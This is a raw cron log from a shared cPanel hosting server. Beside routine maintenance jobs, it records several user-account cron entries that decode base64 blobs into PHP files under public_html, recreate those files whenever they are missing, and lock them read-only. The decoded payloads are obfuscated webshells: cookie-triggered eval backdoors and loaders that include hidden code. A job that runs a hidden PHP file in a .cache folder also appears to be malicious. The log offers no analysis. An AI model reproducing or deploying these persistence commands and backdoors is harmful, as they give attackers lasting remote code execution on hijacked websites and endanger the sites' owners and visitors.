Mar  2 00:40:01 medusa CROND[31096]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:40:02 medusa CROND[31098]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:40:02 medusa CROND[31100]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:40:02 medusa CROND[31101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:40:02 medusa CROND[31095]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:40:02 medusa CROND[31091]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 00:40:02 medusa CROND[31099]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:40:02 medusa CROND[31103]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:40:02 medusa CROND[31109]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:40:02 medusa CROND[31112]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:40:02 medusa CROND[31102]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:40:02 medusa CROND[31113]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:40:02 medusa CROND[31125]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:40:02 medusa CROND[31127]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:40:02 medusa CROND[31128]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:40:02 medusa CROND[31115]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 00:40:02 medusa CROND[31129]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 00:40:02 medusa CROND[31133]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 00:40:02 medusa CROND[31116]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:41:02 medusa CROND[4713]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:41:02 medusa CROND[4715]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:41:02 medusa CROND[4717]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:41:02 medusa CROND[4716]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:41:02 medusa CROND[4718]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:41:02 medusa CROND[4719]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:41:02 medusa CROND[4723]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:41:02 medusa CROND[4727]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:41:02 medusa CROND[4726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:41:02 medusa CROND[4733]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:41:02 medusa CROND[4735]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:41:02 medusa CROND[4736]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:41:02 medusa CROND[4741]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:41:02 medusa CROND[4734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:42:02 medusa CROND[10941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:42:02 medusa CROND[11013]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:42:02 medusa CROND[11014]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:42:02 medusa CROND[11016]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:42:02 medusa CROND[11015]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:42:02 medusa CROND[11018]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:42:02 medusa CROND[11019]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
